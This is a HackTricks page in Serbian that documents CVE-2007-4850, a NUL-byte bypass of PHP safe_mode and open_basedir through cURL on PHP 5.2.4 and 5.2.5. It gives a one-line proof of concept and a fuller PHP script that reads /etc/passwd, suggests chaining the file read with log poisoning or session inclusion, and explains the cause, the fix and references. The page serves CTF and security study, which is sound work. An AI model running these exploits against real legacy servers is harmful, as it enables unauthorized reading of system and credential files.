PHP 5.2.4 and 5.2.5 PHP cURL
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ova stranica dokumentuje legacy trik koji je i dalje koristan u CTF-ovima i lokalnim starim instalacijama za zaobilaženje PHP safe_mode/open_basedir provera koristeći cURL ekstenziju na određenim PHP 5.2.x buildovima.
- Affected: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
- Impact: Čitanje proizvoljnih lokalnih fajlova uprkos restrikcijama safe_mode ili open_basedir (bez direktnog izvršavanja koda).
- ID: CVE-2007-4850.
Iz http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
Ako su safe_mode ili open_basedir aktivni i cURL je omogućen, sledeće će vratiti sadržaj trenutnog skripta:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Jasniji PoC (proizvoljno čitanje datoteke)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Napomene:
- Koristite dvostruke navodnike ili chr(0) da ubacite pravi NUL bajt. Percent-encoding (%00) neće pouzdano raditi.
- Ovo je file read primitive. Kombinujte ga sa drugim primitives (log poisoning, session file inclusion, itd.) za dalju eskalaciju kad je moguće.
Zašto ovo radi (ukratko)
Ranljivost leži u načinu na koji PHP 5.2.4/5.2.5 izvršava safe_mode/open_basedir provere za file:// URL-ove u ext/curl. Provera je parsirala URL i validirala komponentu putanje, ali zbog rukovanja NUL-bajtovima validirala je drugačiji niz od onog koji je zapravo koristio libcurl. U praksi, validator je mogao odobriti putanju nakon NUL-a, dok je libcurl koristio deo pre NUL-a kao URL kontejner, omogućavajući zaobilaženje koje dovodi do čitanja fajla postavljenog posle NUL bajta. Pogledajte originalnu analizu i pogođeni makro u curl/interface.c za detalje. [CVE-2007-4850].
Ograničenja i ispravke
- Ispravljeno u kasnijim 5.2.x (npr. distro builds patched to 5.2.6) ispravljanjem parsiranja/validacije u ext/curl.
- Pogađa samo veoma stare PHP instalacije; safe_mode je uklonjen u PHP 5.4 i moderni buildovi ne pokazuju ovo ponašanje.
Pogledajte takođe
Drugi disable_functions/open_basedir bypasses i moderne tehnike su prikupljene ovde:
References
- Ubuntu CVE entry with patch pointers and affected versions: https://ubuntu.com/security/CVE-2007-4850
- Technical writeup with code context (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks